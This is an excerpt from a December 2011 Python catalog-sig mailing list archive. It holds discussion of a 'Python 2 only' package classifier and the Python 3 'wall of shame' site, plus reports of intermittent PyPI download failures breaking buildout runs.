URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111214/d4670a77/attachment.html>
From chrism at plope.com Wed Dec 14 04:36:20 2011
From: chrism at plope.com (Chris McDonough)
Date: Tue, 13 Dec 2011 22:36:20 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
Message-ID: <1323833780.3502.42.camel@thinko>
On Tue, 2011-12-13 at 12:29 +0200, Yuval Greenfield wrote:
> 1. If this forum likes it I'll add a lock icon next to packages with
> the "Programming Language :: Python :: 2 :: Only" classifier with the
> following mouse-over: "The maintainers of this code have declared it
> will run on Python 2 only for the foreseeable future". This might
> lessen the social pressure on the maintainers to port. I don't think
> it'll help the PR issue.
For the record, at least one package is already using the new "2-only"
classifier now:
http://pypi.python.org/pypi/Pylons/1.0.1rc1
From tjreedy at udel.edu Wed Dec 14 06:55:04 2011
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 14 Dec 2011 00:55:04 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
Message-ID: <jc9dnr$9vv$1@dough.gmane.org>
On 12/13/2011 5:29 AM, Yuval Greenfield wrote:
> Hi catalog-sig, I'm the wall of shame guy,
> And I hope I'm not considered the bad guy here. Please do contact me
> with any questions or suggestions. I only want to promote python 3
> though I know the site has a dual edge to its sword.
I promote Python 3 also, but I would have called such a site something
like python3progress. I would make the second sentence something
"The packages listed in [green] are those known to work with Python 3 or
have an equivalent that does." Also, list the equivalents somehow.
Please change the page, if not the url. I am really sure that doing so
will promote Python 3 better than the current page.
--
Terry Jan Reedy
From chrism at plope.com Thu Dec 15 06:01:35 2011
From: chrism at plope.com (Chris McDonough)
Date: Thu, 15 Dec 2011 00:01:35 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
Message-ID: <1323925295.2556.48.camel@thinko>
On Tue, 2011-12-13 at 12:29 +0200, Yuval Greenfield wrote:
> 2. A more useful classifier (in terms of PR) could be "Programming
> Language :: Python :: 2 :: Py3k equivalent exists". Which would denote
> that I can entirely remove the red package from the wall. This is
> currently done manually for the following: 'multiprocessing',
> 'simplejson', 'argparse', 'uuid', 'setuptools', 'Jinja'. So feel free
> to tell me if there are more I should add to this list.
"zc.buildout" is actually Python 3.2 compatible now, FWIW. Its 2.X
release line is 3.X compatible but the author doesn't want that to be
the default version pulled down yet, so he has "egg-only" releases of it
on PyPI which prevents easy_install/pip from treating it as "most
recent" for users of Python 3. However, if you use Python 3, and ask
for it, you indeed get a Python 3 compat version,
- C
From martin at v.loewis.de Fri Dec 16 00:40:12 2011
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 16 Dec 2011 00:40:12 +0100
Subject: [Catalog-sig] PyPI outage
Message-ID: <4EEA855C.90309@v.loewis.de>
I just rebooted PyPI for maintenance, and that reboot failed
(or the file system check took some long time without reporting back).
After waiting for 20 minutes, I power-cycled the machine, which
brought it back.
Regards,
Martin
From ubershmekel at gmail.com Fri Dec 16 02:53:54 2011
From: ubershmekel at gmail.com (Yuval Greenfield)
Date: Fri, 16 Dec 2011 03:53:54 +0200
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <1323833780.3502.42.camel@thinko>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
Message-ID: <CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
On Wed, Dec 14, 2011 at 5:36 AM, Chris McDonough <chrism at plope.com> wrote:
> On Tue, 2011-12-13 at 12:29 +0200, Yuval Greenfield wrote:
>
> > 1. If this forum likes it I'll add a lock icon next to packages with
> > the "Programming Language :: Python :: 2 :: Only" classifier with the
> > following mouse-over: "The maintainers of this code have declared it
> > will run on Python 2 only for the foreseeable future". This might
> > lessen the social pressure on the maintainers to port. I don't think
> > it'll help the PR issue.
>
> For the record, at least one package is already using the new "2-only"
> classifier now:
>
> http://pypi.python.org/pypi/Pylons/1.0.1rc1
>
>
>
>
I added both features (python2only and py3equivalents). It took a lot
longer than I expected and cost $0.10 of GAE quotas...
Please do critique:
http://python3wos.appspot.com/
Yuval Greenfield
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111216/b3592c88/attachment.html>
From lists at zopyx.com Fri Dec 16 09:28:48 2011
From: lists at zopyx.com (Andreas Jung)
Date: Fri, 16 Dec 2011 09:28:48 +0100
Subject: [Catalog-sig] Massive problems with PyPI since days
Message-ID: <4EEB0140.3020205@zopyx.com>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi there,
we encounter lots of buildout problems (triggered by various
Jenkins instances running at different hosters) similar to:
Restored 'README.txt'
Restored 'dev.cfg'
A products
A products/README.txt
Checked out revision 6884.
+ bin/python bootstrap.py
Downloading
http://pypi.python.org/packages/source/d/distribute/distribute-0.6.24.tar.gz
Traceback (most recent call last):
File "bootstrap.py", line 67, in <module>
ez['use_setuptools'](to_dir=tmpeggs, download_delay=0, no_fake=True)
File "<string>", line 145, in use_setuptools
File "<string>", line 124, in _do_download
File "<string>", line 193, in download_setuptools
File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 124, in urlopen
return _opener.open(url, data, timeout)
File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 389, in open
response = self._open(req, data)
File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 407, in _open
'_open', req)
File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 367, in _call_chain
result = func(*args)
File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 1146, in http_open
return self.do_open(httplib.HTTPConnection, req)
File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 1121, in do_open
raise URLError(err)
urllib2.URLError: <urlopen error [Errno 97] Address family not supported
by protocol>
Recording test results
Is there any severe problem with PyPI? These errors come and come.
Triggering a Jenkins manually after such a failure often results in a
successful build.
Andreas
- --
ZOPYX Limited | zopyx group
Charlottenstr. 37/1 | The full-service network for Zope & Plone
D-72070 T?bingen | Produce & Publish
www.zopyx.com | www.produce-and-publish.com
- ------------------------------------------------------------------------
E-Publishing, Python, Zope & Plone development, Consulting
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (Darwin)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iQGUBAEBAgAGBQJO6wE/AAoJEADcfz7u4AZjvdkLwIqA3dtNFig20L4sQPikEiXq
c1YNeZ8qaZTcGN3urvnVP9XXG8wGd8eebGP/Y/hwSzyvtLFxDgrx0XEmbIFgAjCL
7t1tjiHScG/rN/F8ABg0CXBHqI9sjbzJ12ZmrivmzJLhlqE/BKsEQOuAQ6ThgwmZ
2MqfxNkjWqndN8MIgvy7E1tQBH5McuEEDOdwe/uMXeXxy/jpJwiFEKqqBhMjEULN
PTxxF6RJGDJ3TiXK51dZkSJse8IcwRnm4A2mb828Ig3sfX4RTrvJ3Hl0kzyXqVl0
eH28/10Dbi67GH3uWtZ21+8kQ1WD3hGvsqTxNAoBJoPF+/2tLSmdC6WsLpa6+q/v
vdjlNOf0mvzSM5g8EiJohBsII6DDRHyEIQw9Ukf94482BNdmsiMtAf+v4za/mbw2
uZkbScBGXqeJ8fyQq//cNRz+mMaOZsXwd2pNXkXCgIlUhZAWL8E2wRBjwMCH3DFc
fozfJCJ9EINKKHHMhfWricbOkOdSOtY=
=jxhs
-----END PGP SIGNATURE-----
-------------- next part --------------
A non-text attachment was scrubbed...
Name: lists.vcf
Type: text/x-vcard
Size: 310 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111216/b14b53cd/attachment.vcf>
From ubershmekel at gmail.com Fri Dec 16 10:04:05 2011
From: ubershmekel at gmail.com (Yuval Greenfield)
Date: Fri, 16 Dec 2011 11:04:05 +0200
Subject: [Catalog-sig] Massive problems with PyPI since days
In-Reply-To: <4EEB0140.3020205@zopyx.com>
References: <4EEB0140.3020205@zopyx.com>
Message-ID: <CANSw7KxFGH2aGW+qROTYi7K2edwKOKnab6XGYMC0aJyiH5UnrQ@mail.gmail.com>
I get a massive ton of xmlrpclib timeouts recently as well. Even a few
regular webpages are extremely slow eg:
http://pypi.python.org/pypi?:action=browse&c=214
Yuval Greenfield
On Fri, Dec 16, 2011 at 10:28 AM, Andreas Jung <lists at zopyx.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Hi there,
>
> we encounter lots of buildout problems (triggered by various
> Jenkins instances running at different hosters) similar to:
>
> Restored 'README.txt'
> Restored 'dev.cfg'
> A products
> A products/README.txt
> Checked out revision 6884.
> + bin/python bootstrap.py
> Downloading
>
> http://pypi.python.org/packages/source/d/distribute/distribute-0.6.24.tar.gz
> Traceback (most recent call last):
> File "bootstrap.py", line 67, in <module>
> ez['use_setuptools'](to_dir=tmpeggs, download_delay=0, no_fake=True)
> File "<string>", line 145, in use_setuptools
> File "<string>", line 124, in _do_download
> File "<string>", line 193, in download_setuptools
> File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 124, in urlopen
> return _opener.open(url, data, timeout)
> File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 389, in open
> response = self._open(req, data)
> File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 407, in _open
> '_open', req)
> File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 367, in
> _call_chain
> result = func(*args)
> File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 1146, in http_open
> return self.do_open(httplib.HTTPConnection, req)
> File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 1121, in do_open
> raise URLError(err)
> urllib2.URLError: <urlopen error [Errno 97] Address family not supported
> by protocol>
> Recording test results
>
> Is there any severe problem with PyPI? These errors come and come.
> Triggering a Jenkins manually after such a failure often results in a
> successful build.
>
> Andreas
>
> - --
> ZOPYX Limited | zopyx group
> Charlottenstr. 37/1 | The full-service network for Zope & Plone
> D-72070 T?bingen | Produce & Publish
> www.zopyx.com | www.produce-and-publish.com
> - ------------------------------------------------------------------------
> E-Publishing, Python, Zope & Plone development, Consulting
>
>
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.11 (Darwin)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
>
> iQGUBAEBAgAGBQJO6wE/AAoJEADcfz7u4AZjvdkLwIqA3dtNFig20L4sQPikEiXq
> c1YNeZ8qaZTcGN3urvnVP9XXG8wGd8eebGP/Y/hwSzyvtLFxDgrx0XEmbIFgAjCL
> 7t1tjiHScG/rN/F8ABg0CXBHqI9sjbzJ12ZmrivmzJLhlqE/BKsEQOuAQ6ThgwmZ
> 2MqfxNkjWqndN8MIgvy7E1tQBH5McuEEDOdwe/uMXeXxy/jpJwiFEKqqBhMjEULN
> PTxxF6RJGDJ3TiXK51dZkSJse8IcwRnm4A2mb828Ig3sfX4RTrvJ3Hl0kzyXqVl0
> eH28/10Dbi67GH3uWtZ21+8kQ1WD3hGvsqTxNAoBJoPF+/2tLSmdC6WsLpa6+q/v
> vdjlNOf0mvzSM5g8EiJohBsII6DDRHyEIQw9Ukf94482BNdmsiMtAf+v4za/mbw2
> uZkbScBGXqeJ8fyQq//cNRz+mMaOZsXwd2pNXkXCgIlUhZAWL8E2wRBjwMCH3DFc
> fozfJCJ9EINKKHHMhfWricbOkOdSOtY=
> =jxhs
> -----END PGP SIGNATURE-----
>
> _______________________________________________
> Catalog-SIG mailing list
> Catalog-SIG at python.org
> http://mail.python.org/mailman/listinfo/catalog-sig
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111216/5ac21ea7/attachment.html>
From jim at zope.com Fri Dec 16 15:21:03 2011
From: jim at zope.com (Jim Fulton)
Date: Fri, 16 Dec 2011 09:21:03 -0500
Subject: [Catalog-sig] Massive problems with PyPI since days
In-Reply-To: <4EEB0140.3020205@zopyx.com>
References: <4EEB0140.3020205@zopyx.com>
Message-ID: <CAPDm-FiJxbspyEYZhQyEKb3O2ZcvWPeepYcA9n31RJMUFKrzpw@mail.gmail.com>
Are you using a mirror?
Jim
On Fri, Dec 16, 2011 at 3:28 AM, Andreas Jung <lists at zopyx.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Hi there,
>
> we encounter lots of buildout problems (triggered by various
> Jenkins instances running at different hosters) similar to:
>
> Restored 'README.txt'
> Restored 'dev.cfg'
> A ? ?products
> A ? ?products/README.txt
> Checked out revision 6884.
> + bin/python bootstrap.py
> Downloading
> http://pypi.python.org/packages/source/d/distribute/distribute-0.6.24.tar.gz
> Traceback (most recent call last):
> ?File "bootstrap.py", line 67, in <module>
> ? ez['use_setuptools'](to_dir=tmpeggs, download_delay=0, no_fake=True)
> ?File "<string>", line 145, in use_setuptools
> ?File "<string>", line 124, in _do_download
> ?File "<string>", line 193, in download_setuptools
> ?File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 124, in urlopen
> ? return _opener.open(url, data, timeout)
> ?File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 389, in open
> ? response = self._open(req, data)
> ?File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 407, in _open
> ? '_open', req)
> ?File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 367, in _call_chain
> ? result = func(*args)
> ?File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 1146, in http_open
> ? return self.do_open(httplib.HTTPConnection, req)
> ?File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 1121, in do_open
> ? raise URLError(err)
> urllib2.URLError: <urlopen error [Errno 97] Address family not supported
> by protocol>
> Recording test results
>
> Is there any severe problem with PyPI? These errors come and come.
> Triggering a Jenkins manually after such a failure often results in a
> successful build.
>
> Andreas
>
> - --
> ZOPYX Limited ? ? ? ? ? | zopyx group
> Charlottenstr. 37/1 ? ? | The full-service network for Zope & Plone
> D-72070 T?bingen ? ? ? ?| Produce & Publish
> www.zopyx.com ? ? ? ? ? | www.produce-and-publish.com
> - ------------------------------------------------------------------------
> E-Publishing, Python, Zope & Plone development, Consulting
>
>
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.11 (Darwin)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
>
> iQGUBAEBAgAGBQJO6wE/AAoJEADcfz7u4AZjvdkLwIqA3dtNFig20L4sQPikEiXq
> c1YNeZ8qaZTcGN3urvnVP9XXG8wGd8eebGP/Y/hwSzyvtLFxDgrx0XEmbIFgAjCL
> 7t1tjiHScG/rN/F8ABg0CXBHqI9sjbzJ12ZmrivmzJLhlqE/BKsEQOuAQ6ThgwmZ
> 2MqfxNkjWqndN8MIgvy7E1tQBH5McuEEDOdwe/uMXeXxy/jpJwiFEKqqBhMjEULN
> PTxxF6RJGDJ3TiXK51dZkSJse8IcwRnm4A2mb828Ig3sfX4RTrvJ3Hl0kzyXqVl0
> eH28/10Dbi67GH3uWtZ21+8kQ1WD3hGvsqTxNAoBJoPF+/2tLSmdC6WsLpa6+q/v
> vdjlNOf0mvzSM5g8EiJohBsII6DDRHyEIQw9Ukf94482BNdmsiMtAf+v4za/mbw2
> uZkbScBGXqeJ8fyQq//cNRz+mMaOZsXwd2pNXkXCgIlUhZAWL8E2wRBjwMCH3DFc
> fozfJCJ9EINKKHHMhfWricbOkOdSOtY=
> =jxhs
> -----END PGP SIGNATURE-----
>
> _______________________________________________
> Catalog-SIG mailing list
> Catalog-SIG at python.org
> http://mail.python.org/mailman/listinfo/catalog-sig
>
--
Jim Fulton
http://www.linkedin.com/in/jimfulton
From lists at zopyx.com Fri Dec 16 16:06:06 2011
From: lists at zopyx.com (Andreas Jung)
Date: Fri, 16 Dec 2011 16:06:06 +0100
Subject: [Catalog-sig] Massive problems with PyPI since days
In-Reply-To: <CAPDm-FiJxbspyEYZhQyEKb3O2ZcvWPeepYcA9n31RJMUFKrzpw@mail.gmail.com>
References: <4EEB0140.3020205@zopyx.com>
<CAPDm-FiJxbspyEYZhQyEKb3O2ZcvWPeepYcA9n31RJMUFKrzpw@mail.gmail.com>
Message-ID: <4EEB5E5E.4090209@zopyx.com>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
No.
Jim Fulton wrote:
> Are you using a mirror?
>
> Jim
>
> On Fri, Dec 16, 2011 at 3:28 AM, Andreas Jung <lists at zopyx.com>
> wrote: Hi there,
>
> we encounter lots of buildout problems (triggered by various Jenkins
> instances running at different hosters) similar to:
>
> Restored 'README.txt' Restored 'dev.cfg' A products A
> products/README.txt Checked out revision 6884. + bin/python
> bootstrap.py Downloading
> http://pypi.python.org/packages/source/d/distribute/distribute-0.6.24.tar.gz
>
>
Traceback (most recent call last):
> File "bootstrap.py", line 67, in <module>
> ez['use_setuptools'](to_dir=tmpeggs, download_delay=0, no_fake=True)
> File "<string>", line 145, in use_setuptools File "<string>", line
> 124, in _do_download File "<string>", line 193, in
> download_setuptools File
> "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 124, in urlopen
> return _opener.open(url, data, timeout) File
> "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 389, in open
> response = self._open(req, data) File
> "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 407, in _open
> '_open', req) File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line
> 367, in _call_chain result = func(*args) File
> "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 1146, in
> http_open return self.do_open(httplib.HTTPConnection, req) File
> "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 1121, in do_open
> raise URLError(err) urllib2.URLError: <urlopen error [Errno 97]
> Address family not supported by protocol> Recording test results
>
> Is there any severe problem with PyPI? These errors come and come.
> Triggering a Jenkins manually after such a failure often results in
> a successful build.
>
> Andreas
>
>>
>> _______________________________________________ Catalog-SIG mailing
>> list Catalog-SIG at python.org
>> http://mail.python.org/mailman/listinfo/catalog-sig
>>
>
>
>
- --
ZOPYX Limited | zopyx group
Charlottenstr. 37/1 | The full-service network for Zope & Plone
D-72070 T?bingen | Produce & Publish
www.zopyx.com | www.produce-and-publish.com
- ------------------------------------------------------------------------
E-Publishing, Python, Zope & Plone development, Consulting
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (Darwin)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iQGUBAEBAgAGBQJO615eAAoJEADcfz7u4AZjwN8LwMoQjJE0vOSU8Fa2Bz+EgAp0
cE3HOY/yiesXkM9IycmFrxJYd96AHv7f4PE5vvABALmXAXHkATwVnF6PC38Kjycs
72XocNKyNK4hDxS0P+/LLW4FODzoeFdBZIVSlviJujw+eOX422cEyVsgPqRJoIVF
eLIlSWHTR7z28NaWW3dwXjoJaPzgEfDGCEVKfaehKB3x09DZxrMH478ivEd6001R
l0ib1Xm+fF9NwCSsyGQThTzrcWvIp0WIUZUhXIzhoqqe2txvxTbHpT26TXdp3N4x
880MJ3Ko2xiIXEFFkgNaP3ajYZhF0K4D5urIjx861NfGps49UGYEX35y30NCEFas
rkmmDv4y4sZB12GtSnURHzDhzkqOGfqXAFV9bATZ1AWcG7gcoN4VjnwzFmWbHiDt
ohiw/831PBMUbBet5kheCHm8oD0jLnvWOy0mrcslikvUX+3sIJhyu1YxRRcsF9jQ
iUe8kUwzU16YDy2DoDXk3q36uhWOyPA=
=Z/0v
-----END PGP SIGNATURE-----
-------------- next part --------------
A non-text attachment was scrubbed...
Name: lists.vcf
Type: text/x-vcard
Size: 310 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/catalog-sig/attachments/20111216/57065eb0/attachment.vcf>
From chrism at plope.com Fri Dec 16 18:53:12 2011
From: chrism at plope.com (Chris McDonough)
Date: Fri, 16 Dec 2011 12:53:12 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
Message-ID: <1324057992.2556.61.camel@thinko>
On Fri, 2011-12-16 at 03:53 +0200, Yuval Greenfield wrote:
> On Wed, Dec 14, 2011 at 5:36 AM, Chris McDonough <chrism at plope.com>
> wrote:
> On Tue, 2011-12-13 at 12:29 +0200, Yuval Greenfield wrote:
>
> > 1. If this forum likes it I'll add a lock icon next to
> packages with
> > the "Programming Language :: Python :: 2 :: Only" classifier
> with the
> > following mouse-over: "The maintainers of this code have
> declared it
> > will run on Python 2 only for the foreseeable future". This
> might
> > lessen the social pressure on the maintainers to port. I
> don't think
> > it'll help the PR issue.
>
>
> For the record, at least one package is already using the new
> "2-only"
> classifier now:
>
> http://pypi.python.org/pypi/Pylons/1.0.1rc1
>
>
>
>
>
>
> I added both features (python2only and py3equivalents). It took a lot
> longer than I expected and cost $0.10 of GAE quotas...
>
>
> Please do critique:
>
>
> http://python3wos.appspot.com/
Thanks for adding the feature. The way you've decided to do it, I guess
folks can't really opt out of the "shame of being red" by using a python
2 only tag. Also, given the composition of packages on there, that
chart will be all-red more or less forever; there's unlikely to be many
newly charting python 3-compat packages any time soon, at least none
that overtake the "will always be red" ones which have been around for 8
+ years. Lame.
- C
From stefan-usenet at bytereef.org Fri Dec 16 20:13:30 2011
From: stefan-usenet at bytereef.org (Stefan Krah)
Date: Fri, 16 Dec 2011 20:13:30 +0100
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <1324057992.2556.61.camel@thinko>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
Message-ID: <20111216191330.GA32647@sleipnir.bytereef.org>
[Not replying to Chris, I don't have the previous mail]
Chris McDonough <chrism at plope.com> wrote:
> > I added both features (python2only and py3equivalents). It took a lot
> > longer than I expected and cost $0.10 of GAE quotas...
> >
> >
> > Please do critique:
> >
> >
> > http://python3wos.appspot.com/
I don't think this site is very useful in its current form. I immediately
found two false positives:
1) ordereddict is part of:
http://docs.python.org/dev/library/collections.html#collections.OrderedDict
2) pylint supports Python3 (from their README):
"2to3 is integrated into the distutils installation process and will be run as a
build step when invoked by the python3 interpreter:
NO_SETUPTOOLS=1 python3 setup.py install --no-compile"
Also, the site would look a lot greener if there were just two rows for
all zope.* and plone.* packages.
Stefan Krah
From richard at python.org Fri Dec 16 23:20:02 2011
From: richard at python.org (Richard Jones)
Date: Sat, 17 Dec 2011 09:20:02 +1100
Subject: [Catalog-sig] Massive problems with PyPI since days
In-Reply-To: <4EEB5E5E.4090209@zopyx.com>
References: <4EEB0140.3020205@zopyx.com>
<CAPDm-FiJxbspyEYZhQyEKb3O2ZcvWPeepYcA9n31RJMUFKrzpw@mail.gmail.com>
<4EEB5E5E.4090209@zopyx.com>
Message-ID: <CAHrZfZCknehG-tJUPmqxZP0drDPy15HO96bUDRzSiEmuzFVZOw@mail.gmail.com>
I'm curious. Why were the mirrors not your first step in attempting to
address your automated buildout issues?
Richard
On 17 December 2011 02:06, Andreas Jung <lists at zopyx.com> wrote:
> No.
>
> Jim Fulton wrote:
>> Are you using a mirror?
>>
>> Jim
>>
>> On Fri, Dec 16, 2011 at 3:28 AM, Andreas Jung <lists at zopyx.com>
>> wrote: Hi there,
>>
>> we encounter lots of buildout problems (triggered by various Jenkins
>> instances running at different hosters) similar to:
>>
>> Restored 'README.txt' Restored 'dev.cfg' A ? ?products A
>> products/README.txt Checked out revision 6884. + bin/python
>> bootstrap.py Downloading
>> http://pypi.python.org/packages/source/d/distribute/distribute-0.6.24.tar.gz
>>
>>
> Traceback (most recent call last):
>> File "bootstrap.py", line 67, in <module>
>> ez['use_setuptools'](to_dir=tmpeggs, download_delay=0, no_fake=True)
>> File "<string>", line 145, in use_setuptools File "<string>", line
>> 124, in _do_download File "<string>", line 193, in
>> download_setuptools File
>> "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 124, in urlopen
>> return _opener.open(url, data, timeout) File
>> "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 389, in open
>> response = self._open(req, data) File
>> "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 407, in _open
>> '_open', req) File "/opt/python/2.6.4/lib/python2.6/urllib2.py", line
>> 367, in _call_chain result = func(*args) File
>> "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 1146, in
>> http_open return self.do_open(httplib.HTTPConnection, req) File
>> "/opt/python/2.6.4/lib/python2.6/urllib2.py", line 1121, in do_open
>> raise URLError(err) urllib2.URLError: <urlopen error [Errno 97]
>> Address family not supported by protocol> Recording test results
>>
>> Is there any severe problem with PyPI? These errors come and come.
>> Triggering a Jenkins manually after such a failure often results in
>> a successful build.
>>
>> Andreas
>>
>>>
>>> _______________________________________________ Catalog-SIG mailing
>>> list Catalog-SIG at python.org
>>> http://mail.python.org/mailman/listinfo/catalog-sig
>>>
>>
>>
>>
>
> - --
> ZOPYX Limited ? ? ? ? ? | zopyx group
> Charlottenstr. 37/1 ? ? | The full-service network for Zope & Plone
> D-72070 T?bingen ? ? ? ?| Produce & Publish
> www.zopyx.com ? ? ? ? ? | www.produce-and-publish.com
> - ------------------------------------------------------------------------
> E-Publishing, Python, Zope & Plone development, Consulting
>
>
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.11 (Darwin)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
>
> iQGUBAEBAgAGBQJO615eAAoJEADcfz7u4AZjwN8LwMoQjJE0vOSU8Fa2Bz+EgAp0
> cE3HOY/yiesXkM9IycmFrxJYd96AHv7f4PE5vvABALmXAXHkATwVnF6PC38Kjycs
> 72XocNKyNK4hDxS0P+/LLW4FODzoeFdBZIVSlviJujw+eOX422cEyVsgPqRJoIVF
> eLIlSWHTR7z28NaWW3dwXjoJaPzgEfDGCEVKfaehKB3x09DZxrMH478ivEd6001R
> l0ib1Xm+fF9NwCSsyGQThTzrcWvIp0WIUZUhXIzhoqqe2txvxTbHpT26TXdp3N4x
> 880MJ3Ko2xiIXEFFkgNaP3ajYZhF0K4D5urIjx861NfGps49UGYEX35y30NCEFas
> rkmmDv4y4sZB12GtSnURHzDhzkqOGfqXAFV9bATZ1AWcG7gcoN4VjnwzFmWbHiDt
> ohiw/831PBMUbBet5kheCHm8oD0jLnvWOy0mrcslikvUX+3sIJhyu1YxRRcsF9jQ
> iUe8kUwzU16YDy2DoDXk3q36uhWOyPA=
> =Z/0v
> -----END PGP SIGNATURE-----
>
> _______________________________________________
> Catalog-SIG mailing list
> Catalog-SIG at python.org
> http://mail.python.org/mailman/listinfo/catalog-sig
>
From tjreedy at udel.edu Fri Dec 16 23:53:49 2011
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 16 Dec 2011 17:53:49 -0500
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <20111216191330.GA32647@sleipnir.bytereef.org>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
Message-ID: <jcgi64$uf0$1@dough.gmane.org>
On 12/16/2011 2:13 PM, Stefan Krah wrote:
>>> Please do critique:
>>> http://python3wos.appspot.com/
>
> I don't think this site is very useful in its current form.
I think in its current form it is a net negative. From time to time,
Python 2 package developers have shown up on pydev list and expressed
their resentment at being 'pressured' to convert yesterday. It makes it
hard to have a conversation.
I always wondered what they were talking about. Core developers have
mostly tried to avoid resentment-inducing pressure. At least now I know
one source of the blowback, even if it is misdirected.
--
Terry Jan Reedy
From ubershmekel at gmail.com Sat Dec 17 00:01:14 2011
From: ubershmekel at gmail.com (Yuval Greenfield)
Date: Sat, 17 Dec 2011 01:01:14 +0200
Subject: [Catalog-sig] "python 2 only" classifier
In-Reply-To: <20111216191330.GA32647@sleipnir.bytereef.org>
References: <CANSw7KzL53OEbTbUZ+-=-r4c38kFU7R=ukoy1Yvc+zujFbCyKQ@mail.gmail.com>
<1323833780.3502.42.camel@thinko>
<CANSw7Kw96RYufbKsgo185j=9EHgTvhLg+Rpn4aH2_jQ4YKM=Og@mail.gmail.com>
<1324057992.2556.61.camel@thinko>
<20111216191330.GA32647@sleipnir.bytereef.org>
